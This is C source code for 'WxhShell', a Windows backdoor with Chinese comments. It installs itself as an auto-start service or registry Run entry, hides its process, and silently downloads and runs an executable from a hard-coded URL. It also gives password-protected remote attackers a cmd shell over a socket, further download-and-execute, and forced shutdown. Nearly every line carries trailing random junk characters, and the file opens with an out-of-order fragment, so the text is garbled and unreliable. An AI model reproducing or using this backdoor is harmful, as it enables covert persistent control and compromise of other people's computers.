    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); w#5^A(NR  
    if(Boot(SHUTDOWN)) t .&YD x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RS~jHwIh  
    else { ^U.8grA  
    closesocket(wsh); Y\ len  
    ExitThread(0); bCF"4KXK  
    } [g:ZIl4p\P  
    break; q]Cmaf(  
    } Bp`?inKBOd  
  // 获取shell  c6;tbL  
  case 's': { a 8Jn.!  
    CmdShell(wsh); +tNu8M@xFo  
    closesocket(wsh); >?q()>l  
    ExitThread(0); jLf.qf8qm  
    break; k!K}<sX2  
  } shOQ/  
  // 退出 d3# >\QCD9  
  case 'x': { eEIa=MB*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d3AOuVUf  
    CloseIt(wsh); D0D0=s  
    break; 8-c1q*q)  
    } ?1Lzbou  
  // 离开 1O0o18'  
  case 'q': { r(IQ)\GR  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 'dp3>4  
    closesocket(wsh); vl<W`)'  
    WSACleanup(); i*'6"  
    exit(1); SXn1v.6  
    break; 7c9-MP)  
        }  pojQ/  
  } e`fN+  
  } LoQm&3/  
#N?EPV$  
  // 提示信息 xZ} 1dq8  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); hTZaI*  
} pDO&I]S`q0  
  } WhsTKy&E  
Rw\ LVRdA  
  return; p `)(  
} #`rvL6W q}  
EM+#h'%-  
// shell模块句柄 L<encPJt  
int CmdShell(SOCKET sock) E=.4(J7K  
{ j_VTa/  
STARTUPINFO si; j()<.h;'  
ZeroMemory(&si,sizeof(si)); ({g7{tUy^H  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Gk0f#;  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; A>8uLO G}  
PROCESS_INFORMATION ProcessInfo; .olDmFQD  
char cmdline[]="cmd"; TOp|Qtn  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); GtRc7,  
  return 0; r7r>1W%4  
} U)%gzXTZ%  
x'OE},>i  
// 自身启动模式 tY^MP5*  
int StartFromService(void) <J4|FOz!=  
{ L$^ya%2  
typedef struct 7RQ.oee  
{ !j,LS$tPu  
  DWORD ExitStatus; ?'_E$  
  DWORD PebBaseAddress; !N--  
  DWORD AffinityMask; &)@|WLW  
  DWORD BasePriority; B>}=x4-8  
  ULONG UniqueProcessId; :gMcl"t--  
  ULONG InheritedFromUniqueProcessId; Mvq5s+.  
}   PROCESS_BASIC_INFORMATION; M}E0Msq_o  
A` x_M!m  
PROCNTQSIP NtQueryInformationProcess; SR@yG:~  
6\ g-KO  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2`qO'V3Q  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Zb<IZ)i#1  
|X/ QSL  
  HANDLE             hProcess; ,b2YUb]U  
  PROCESS_BASIC_INFORMATION pbi; 7yGc@kJ?  
m?I$XAE  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _zq"<Q c  
  if(NULL == hInst ) return 0; u/3[6MIp  
iO)FZ%?"  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 4viP lO  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); dGU io?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AvF:$ kG  
M}|<# i7u  
  if (!NtQueryInformationProcess) return 0; LP?E  
.'QE o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); !P X`sIkT  
  if(!hProcess) return 0; bM[!E8dF  
Ergh]"AD6-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Y;ytm #=  
#jAlmxN  
  CloseHandle(hProcess); #flOaRl.  
bkfwsYZx  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =~M%zdIXv  
if(hProcess==NULL) return 0; $Fx:w  
:r%H sur(  
HMODULE hMod; <smi<syx  
char procName[255]; ?}4 =A&][  
unsigned long cbNeeded; *GxOiv7"4W  
a g Za+a  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xxWrSl`fB  
8zv=@`4@G  
  CloseHandle(hProcess); n#,<-Rb-  
=SJwCT0;  
if(strstr(procName,"services")) return 1; // 以服务启动 QJ2V&t"3  
j{00iA}  
  return 0; // 注册表启动 !;'#f xW[  
} fx &b*O C  
HAa2q=  
// 主模块 jb~2f2vUa  
int StartWxhshell(LPSTR lpCmdLine) ;8z40cD  
{ "/ G^+u  
  SOCKET wsl; Hgs=qH  
BOOL val=TRUE; \L14rQ t  
  int port=0; ]s lYr8m  
  struct sockaddr_in door; @d5G\1(%  
;bJ2miO"e  
  if(wscfg.ws_autoins) Install(); N7lWeF  
k^A Y g!~  
port=atoi(lpCmdLine); @uc N|r}=R  
Rg*zUfu5%o  
if(port<=0) port=wscfg.ws_port; {V& 2k9*  
xJ"CAg|B  
  WSADATA data; 'TPRGX~&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o6e6Jw  
$mA+ 4ISK  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   W68d"J%>_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @a.Y9;O  
  door.sin_family = AF_INET; F\. n42Tz  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); a7G0  
  door.sin_port = htons(port); Is6<3eQ\x  
1\d$2N"  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { b@ J&jE~d  
closesocket(wsl); /*GRE#7S  
return 1; Y =3:Q%X  
} 9E{Bn#  
7pNTCZY|  
  if(listen(wsl,2) == INVALID_SOCKET) { w;$@</  
closesocket(wsl); kP%Hg/f/Ot  
return 1; `~( P  
} t`{^gt  
  Wxhshell(wsl); b~ ?TDm7  
  WSACleanup(); H3 _7a9  
~Z5?\a2Ld  
return 0; %l@Q&)f8e  
ak50]KYo  
} qx5X2@-;:  
~B%EvG7:n  
// 以NT服务方式启动 9d2#=IJm  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]>@; 2%YvY  
{ MBCA%3z08  
DWORD   status = 0; 5| 2B@6-  
  DWORD   specificError = 0xfffffff; "fLGXbNQ  
5|1&s3/f  
  serviceStatus.dwServiceType     = SERVICE_WIN32; . iq.H  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |0w'+HaE~N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 1Qf21oN{  
  serviceStatus.dwWin32ExitCode     = 0; EU,4qO  
  serviceStatus.dwServiceSpecificExitCode = 0; xiU-}H'o  
  serviceStatus.dwCheckPoint       = 0; : o$ R@l  
  serviceStatus.dwWaitHint       = 0; =!xeki]|9  
%dZD;Vhg  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); !?tWWU%P)  
  if (hServiceStatusHandle==0) return; :^kP?  
,$3  
status = GetLastError();  Xvs{2  
  if (status!=NO_ERROR) .]ZM2  
{ }eb%"ZH4|  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; h_]3L/  
    serviceStatus.dwCheckPoint       = 0; +nd'Uf   
    serviceStatus.dwWaitHint       = 0; ?w# >Cs(  
    serviceStatus.dwWin32ExitCode     = status; ?OKm~ Ek  
    serviceStatus.dwServiceSpecificExitCode = specificError; oKt<s+r  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); !gy'_Y  
    return; !N,Z3p>Q  
  } L5yxaF{]  
Xkl^!,  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (uOW5,e7  
  serviceStatus.dwCheckPoint       = 0; ,-CDF)~G=3  
  serviceStatus.dwWaitHint       = 0; '*>LZo4  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OJ UM Y<5  
} = k3O4gE7  
/BT;Q)( &  
// 处理NT服务事件,比如:启动、停止 &t%CuU]/@  
VOID WINAPI NTServiceHandler(DWORD fdwControl) V-=$:J"J'\  
{ g) v"nNS  
switch(fdwControl) wt2S[:!p  
{ |@nvg>mu  
case SERVICE_CONTROL_STOP: yN3Tk}{V  
  serviceStatus.dwWin32ExitCode = 0; JIb<>X,  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; p w>A Q  
  serviceStatus.dwCheckPoint   = 0; 0y;&L63>T  
  serviceStatus.dwWaitHint     = 0; gn%#2:=pVu  
  { bwVv#Z\r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); phXVuQ  
  } Qb|w\xT^Y  
  return; [=U7V;5($  
case SERVICE_CONTROL_PAUSE: y^@% Xrs  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }#'KME4  
  break; 4 >&%-BhN  
case SERVICE_CONTROL_CONTINUE: nNhN:?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 6S6nE%.3  
  break; jLQjv  
case SERVICE_CONTROL_INTERROGATE: izFu&syv)  
  break; <;=Y4$y[  
}; _9z/>e  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~Y'e1w$`  
} J$e.$ah;  
'R,d?ikY  
// 标准应用程序主函数 =R>Sxaq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) p,tB  
{ >^-[Mpa(*  
='VIbE@qC  
// 获取操作系统版本 *0c }`|  
OsIsNt=GetOsVer(); *<Ddn&_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); HO@T2t[  
LpmspIPvf  
  // 从命令行安装 WN?T*bz2  
  if(strpbrk(lpCmdLine,"iI")) Install(); pRU6jV 6e)  
"^XN"SUw  
  // 下载执行文件 N!h>fE`  
if(wscfg.ws_downexe) { Vbj?:29A  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) |iwTzlt*#  
  WinExec(wscfg.ws_filenam,SW_HIDE); p9s~WD/K  
} J:(Shd'4D  
%'=oMbi>i4  
if(!OsIsNt) { z=K5~nU  
// 如果时win9x,隐藏进程并且设置为注册表启动 6VE >$`m  
HideProc(); f%|S>(   
StartWxhshell(lpCmdLine); :jUuw:\  
} jSVO$AW~C  
else aJ}sYf^  
  if(StartFromService()) N)!v-z,k  
  // 以服务方式启动 O ,>&w5   
  StartServiceCtrlDispatcher(DispatchTable); /y!Vs`PZ!  
else i&HV8&KygN  
  // 普通方式启动 #KK(Z \;  
  StartWxhshell(lpCmdLine); :9`1bZ?a  
PR'FSTg  
return 0; ZGbZu  
} xw-q)u  
41zeN++  
K%gFD?{^q  
!6%G%ZG@3-  
=========================================== +>3c+h,%.  
]OrFW4tiE  
62 _$O"  
v8@dvT<  
K$]QzPXS  
YHA[PF   
" Tk!b`9  
=B:poh[u  
#include <stdio.h> M/DTD98'N  
#include <string.h> "_K 6=  
#include <windows.h> MYPcH\K$h  
#include <winsock2.h> sWC"^ So  
#include <winsvc.h> 6,)y{/ENC  
#include <urlmon.h> c[y8"M5  
%OtW\T=u  
#pragma comment (lib, "Ws2_32.lib") OL'=a|g|c  
#pragma comment (lib, "urlmon.lib") $G_<YVXcG  
 %aKkk)s  
#define MAX_USER   100 // 最大客户端连接数 5ZcnZlOOQ  
#define BUF_SOCK   200 // sock buffer GWVdNYpmr  
#define KEY_BUFF   255 // 输入 buffer [o.zar82  
H_j<%VW  
#define REBOOT     0   // 重启 >gZz`CH  
#define SHUTDOWN   1   // 关机 p~.@8r(  
PsgzDhRv  
#define DEF_PORT   5000 // 监听端口 #'8PFw\zw  
j VZi_de  
#define REG_LEN     16   // 注册表键长度 K_5&_P1  
#define SVC_LEN     80   // NT服务名长度 ;Wa{q.)  
JqUVGEg  
// 从dll定义API a  98  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); x/7G0K2\}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); XOCau.#  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ]~^/w}(K  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); JB+pFBeY  
-T?IkL)  
// wxhshell配置信息 R`Lm"5w  
struct WSCFG { _@N)]!\MgP  
  int ws_port;         // 监听端口 ;}~=W!yz  
  char ws_passstr[REG_LEN]; // 口令 tD]&et  
  int ws_autoins;       // 安装标记, 1=yes 0=no '-IT@}  
  char ws_regname[REG_LEN]; // 注册表键名 UTQKlwPa  
  char ws_svcname[REG_LEN]; // 服务名 Oez}C,0  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 o"FiM5L^.  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 {^W,e ^:  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 skz]@{38  
int ws_downexe;       // 下载执行标记, 1=yes 0=no mM} Ukmy  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" .$0Ob<.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 !C#RW=h9  
pK9^W T@  
}; X~he36-+<  
dz|*n'd  
// default Wxhshell configuration wYA/<0'yH  
struct WSCFG wscfg={DEF_PORT, HF: T]n,  
    "xuhuanlingzhe",  <%D"eD  
    1, 1N!g`=}  
    "Wxhshell", yCIgxPv|7  
    "Wxhshell", B)]{]z0+`  
            "WxhShell Service", DBBBpb~~  
    "Wrsky Windows CmdShell Service", A{I a21T7  
    "Please Input Your Password: ", n2 mw@Ay!  
  1, pPqN[OJ  
  "http://www.wrsky.com/wxhshell.exe", P\4tK<P|  
  "Wxhshell.exe" 5\0.[W{^  
    }; U%DF!~n  
cXcx_-  
// 消息定义模块 7NB 9Vu|gD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; c^Jgr(Ow  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Gd-.E7CH!  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ;3|Lw<D5;  
char *msg_ws_ext="\n\rExit."; p=+*g.,O  
char *msg_ws_end="\n\rQuit."; 4spaw?j  
char *msg_ws_boot="\n\rReboot..."; W)!{U(X  
char *msg_ws_poff="\n\rShutdown..."; Hu9R.[u  
char *msg_ws_down="\n\rSave to "; G;HlII9x[  
]cqZ!4?_  
char *msg_ws_err="\n\rErr!";  g1wI/  
char *msg_ws_ok="\n\rOK!"; o9LD6$  
U`9\P2D`/  
char ExeFile[MAX_PATH]; 2^ bpH%  
int nUser = 0; L%K_.!d^  
HANDLE handles[MAX_USER]; ^ wF@6e7/&  
int OsIsNt; Sq|1f?_gU  
z3Y)-  
SERVICE_STATUS       serviceStatus; to!W={S<ol  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gQh Ccv  
5Ue^>8-  
// 函数声明 U aj`  
int Install(void); qi SEnRG.  
int Uninstall(void); R_Gq8t$  
int DownloadFile(char *sURL, SOCKET wsh); ^s@*ISY  
int Boot(int flag); S`c]Fc  
void HideProc(void); @ oz&  
int GetOsVer(void); '^ e/F)0  
int Wxhshell(SOCKET wsl); bj7MzlGFy  
void TalkWithClient(void *cs); " T a9  
int CmdShell(SOCKET sock); L.0} UXd  
int StartFromService(void); JQ@`EV9,  
int StartWxhshell(LPSTR lpCmdLine); bN4&\d*u#  
j,56Lh%1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @x=BJuUuX  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); LD~Jbq  
4ljvoJ}xjr  
// 数据结构和表定义 {"0TO|%x  
SERVICE_TABLE_ENTRY DispatchTable[] = <Sprp]n 7  
{ )pS_+ZF  
{wscfg.ws_svcname, NTServiceMain}, W\>^[c/  
{NULL, NULL} M8?#%x6;N  
}; ll(e,9.D  
_ 7BF+*T  
// 自我安装 /+4^.Q*  
int Install(void) @vdc)vN[ /  
{ 3%[)!zKv  
  char svExeFile[MAX_PATH]; =MJ-s;raq  
  HKEY key; UU.mdSL  
  strcpy(svExeFile,ExeFile); co<2e#p;  
i9&K  
// 如果是win9x系统,修改注册表设为自启动 # Z|%0r_~  
if(!OsIsNt) { C`2*2Y%xkG  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ) ]/i  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Iuu<2#gb8"  
  RegCloseKey(key); FtFv<UV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^ J#?hHz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ReI=4Jq11  
  RegCloseKey(key); ]^*_F  
  return 0; :jk)(=^  
    }  ko=aa5c  
  } ;L G %s  
} tA! M  
else { <}28=d  
KFTf~!|  
// 如果是NT以上系统,安装为系统服务 @4 /~~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); $f<eq7rRe  
if (schSCManager!=0) 9?u9wuH  
{ <[Tq7cO0  
  SC_HANDLE schService = CreateService c y=I0  
  ( U{T[*s  
  schSCManager, |~@x4J5,  
  wscfg.ws_svcname, '[>\N4WD  
  wscfg.ws_svcdisp, Iz6ss(UJ  
  SERVICE_ALL_ACCESS, !dfS|BA]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , XGE 2J  
  SERVICE_AUTO_START, :`+|'*b(A  
  SERVICE_ERROR_NORMAL, |MTpU@`p5  
  svExeFile, 2YL`3cgfb  
  NULL, y 2z{rd  
  NULL, 0V<Aub[${  
  NULL, zyaW3th  
  NULL, cr76cYq"Q  
  NULL @T<ad7g-2J  
  ); [kPD`be2#  
  if (schService!=0) 4 t&gW  
  { ad"'O]  
  CloseServiceHandle(schService);  EX[B/YH  
  CloseServiceHandle(schSCManager); a$C2}  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ! 9d _Gf-  
  strcat(svExeFile,wscfg.ws_svcname); jMN)?6$=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { mSU@UD|'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); w+t#Yb\7  
  RegCloseKey(key); TRF]i/Bs  
  return 0; 8h*t55  
    } *-?Wcz  
  } yOX&cZ[  
  CloseServiceHandle(schSCManager); tRLE,(S,-  
} @)o0GHNP  
} 4cott^K.  
}TSgAwsbC  
return 1; |:./hdcad  
} x|.v{tQa  
JT4wb]kdV  
// 自我卸载 j*tk(o}qG  
int Uninstall(void) 3Bejp+xX  
{ FXS^^p P  
  HKEY key; ~ct2`M$TL(  
p={Jf}v  
if(!OsIsNt) { qv *3A?uzr  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yC W*fIaq  
  RegDeleteValue(key,wscfg.ws_regname); wAw42{M  
  RegCloseKey(key); ypH8QfxLTr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { e,EK,,iY5  
  RegDeleteValue(key,wscfg.ws_regname); 34z_+  
  RegCloseKey(key); ar Q)%W  
  return 0; 5B1G?`]?  
  } q7|:^#{av  
} P^"R4T  
} C`)_i3 ^  
else { (4~X}:  
Hk@r5<{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,I ZqLA  
if (schSCManager!=0) W]_g4,T>  
{ j?xk&  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); lK*jhW?3:  
  if (schService!=0) S`=n&'  
  { 6JSY56v  
  if(DeleteService(schService)!=0) { mwIk^Sz]@  
  CloseServiceHandle(schService); |=O1Hn  
  CloseServiceHandle(schSCManager); 6a*83G,k  
  return 0; cJ. 7Mt  
  } -^Xy%  
  CloseServiceHandle(schService); C,"=}z1P  
  } OqBC/p B  
  CloseServiceHandle(schSCManager); 4@6 <  
} gXt O*Rfqk  
} /YFa ;2 W  
!4t`Hv?'  
return 1; :k~dj C  
} hk_g2g  
/g@^H/DO  
// 从指定url下载文件 7Lg7ei2mN7  
int DownloadFile(char *sURL, SOCKET wsh) GF'f[F6oI  
{ xIL#h@dz  
  HRESULT hr; qBYg[K>  
char seps[]= "/"; T#@{G,N  
char *token; 0/Z !5-.  
char *file; b/u8} J  
char myURL[MAX_PATH]; s]Gd-j  
char myFILE[MAX_PATH]; d; =u  
1[-vD=  
strcpy(myURL,sURL); \0?$wIH?  
  token=strtok(myURL,seps); 2Lfah?Tx~C  
  while(token!=NULL) J4>;[\%m  
  {   WK==j1  
    file=token; |9IC/C!HC  
  token=strtok(NULL,seps); Blk}I  
  } 'wvMH;}u  
E!! alc{  
GetCurrentDirectory(MAX_PATH,myFILE); Ie@Jb{ x  
strcat(myFILE, "\\"); ETfF5i}  
strcat(myFILE, file); uv]{1S{tb  
  send(wsh,myFILE,strlen(myFILE),0); ubbnFE&PD  
send(wsh,"...",3,0); u,o1{% O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); :, _!pe;H  
  if(hr==S_OK) =7 w>wW-  
return 0; fu R2S70d  
else ){P^P!s$  
return 1; ()\jCNLT  
kRlA4h1u_$  
} B!;+_%P76  
+sf .PSz$  
// 系统电源模块 [T^?Q%h  
int Boot(int flag) :(, mL2[  
{ CU$#0f>  
  HANDLE hToken; #jA)>z\Q^  
  TOKEN_PRIVILEGES tkp; ER^QV(IvP8  
"0Q1qZ  
  if(OsIsNt) { ashar&'  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XAuI7e  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D4Etl5k  
    tkp.PrivilegeCount = 1; %3o`j<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .H~YI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); hXB|g[zT  
if(flag==REBOOT) { 2K{6iw"h  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) y1pu R7  
  return 0; M%`\P\A  
} I7(?;MpI  
else { 2@khSWV  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) sKL:p3r  
  return 0; |+}G|hx@9  
} 314=1JbL  
  } wtH~-xSB|  
  else { pqR\>d 0  
if(flag==REBOOT) { W Zn.;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?LP9iY${  
  return 0; X.FGBR7=q  
} 1^G{tlA-  
else { c#cx>wq9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) u2iXJmM*  
  return 0; xDLG=A%]z  
} Vba.uKNjk  
} w$fJ4+  
-e]7n*}H$  
return 1;  QLKK.]  
} ytAWOt}`  
q(IQa@$SR  
// win9x进程隐藏模块 ]! *[Q\  
void HideProc(void) & E}mX]t  
{ v]VWDT `  
6iA( o*'Yn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 19UN*g3(  
  if ( hKernel != NULL ) I5ZqBB  
  { kHK0(bYK  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Zjh2{ :  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); +&=?BC}L9^  
    FreeLibrary(hKernel);  aSutM  
  } %; "@Ah  
j2 %^qL  
return; 5*-3? <)e  
} (5Nv8H8|  
/j2H A^GT  
// 获取操作系统版本 "sUyHt-&  
int GetOsVer(void) F7*wQ{~  
{ Zyf P; &  
  OSVERSIONINFO winfo; ca<"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zZ-\a[F  
  GetVersionEx(&winfo); cmwPuK$  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) kFLB> j97  
  return 1; dt\jGD  
  else K4ZolWbU  
  return 0; z(y*hazK  
} RW'nUL?_\  
TI|/u$SJ<Z  
// 客户端句柄模块 ay )/q5  
int Wxhshell(SOCKET wsl) *Mc7f?H  
{ ?#A]{l  
  SOCKET wsh; O[@ q%&_  
  struct sockaddr_in client; 0#o/^Ah  
  DWORD myID; !U%T&?E l  
Q,T"ZdQ  
  while(nUser<MAX_USER) /#NYi,<{X  
{ o`S ?  
  int nSize=sizeof(client); rh*sbZ68>E  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DL^o_61  
  if(wsh==INVALID_SOCKET) return 1; oPf)be| #  
PUJ2`iP1^3  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); g`^X#-!(  
if(handles[nUser]==0) 4bVO9aUG{  
  closesocket(wsh); )j l 8!O7  
else q/9H..6  
  nUser++; ]  ]U<UJ  
  } ZFm`UXS  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); PQmq5N6  
9# 4Y1LS)  
  return 0; @oP_;G  
} y;cUl, :v  
/wShUR{  
// 关闭 socket YV% 5y1 i  
void CloseIt(SOCKET wsh) \2-@'^i  
{ g6t"mkMY L  
closesocket(wsh); k,F"-K+M  
nUser--; /'2O.d0}.  
ExitThread(0); %q ;jVj[  
} C;+(Zp  
Jq.lT(E8D  
// 客户端请求句柄 :#E*Y8-  
void TalkWithClient(void *cs) s'aip5P  
{ OI1ud/>h  
cLa]D[H  
  SOCKET wsh=(SOCKET)cs; Y/<lWbj*A  
  char pwd[SVC_LEN]; gF=jf2{YX  
  char cmd[KEY_BUFF]; 1LJuCI=~  
char chr[1]; O%~jop7# 6  
int i,j; s&kQlQ=  
h}_~y'^!  
  while (nUser < MAX_USER) { D-Vai#Cd  
\6?A!w~6  
if(wscfg.ws_passstr) { AUVgPXOwd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zJDSbsc$%  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); GPhl4#'  
  //ZeroMemory(pwd,KEY_BUFF); nMfFH[I4  
      i=0; }eQRN<}P  
  while(i<SVC_LEN) { lU^;Z 6f  
V=He_9B  
  // 设置超时 aJL^AG  
  fd_set FdRead; \I-#1M  
  struct timeval TimeOut; unJid8Lo  
  FD_ZERO(&FdRead); -! ;l~#K=  
  FD_SET(wsh,&FdRead); ,t{,_uPJY  
  TimeOut.tv_sec=8; _Y=2/*y^  
  TimeOut.tv_usec=0; ,/&'m13b/L  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); h eaRX4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1aVa0q<  
;@,Q&B2eM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n%R;-?*v  
  pwd=chr[0]; _zt1 9%Wg  
  if(chr[0]==0xd || chr[0]==0xa) { K3uG2g(>2  
  pwd=0; -7/s]9o'  
  break; YCe7<3>J4  
  } zf4Ec-)  
  i++; @D-AO_  
    } &1l=X]%  
]q- g[e'  
  // 如果是非法用户,关闭 socket |py6pek|  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ri`R<l8  
} 9!9Z~ /*m  
IM$2VlC  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  rhpPCt  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PiV7*F4qI.  
%p^.\ch9  
while(1) { kt[:@Nda9  
4!asT;`'  
  ZeroMemory(cmd,KEY_BUFF); B QcE9~H  
{7!UQrm<  
      // 自动支持客户端 telnet标准   X1IeSMAe  
  j=0; p~ C.IG  
  while(j<KEY_BUFF) { B63pgPX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lP Lz@Up~  
  cmd[j]=chr[0]; N=:5eAza  
  if(chr[0]==0xa || chr[0]==0xd) { !zPG? q]3  
  cmd[j]=0; ]0;864X0  
  break; RH}A  
  } K.G$]H  
  j++; ug{R 3SS  
    } uE[(cko  
"#v=IJy&r  
  // 下载文件 ZpUCfS)|&  
  if(strstr(cmd,"http://")) { k>dsw:  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); T081G`li  
  if(DownloadFile(cmd,wsh)) p^(&qk?ut  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); DC1'Kyk  
  else b}T6v  
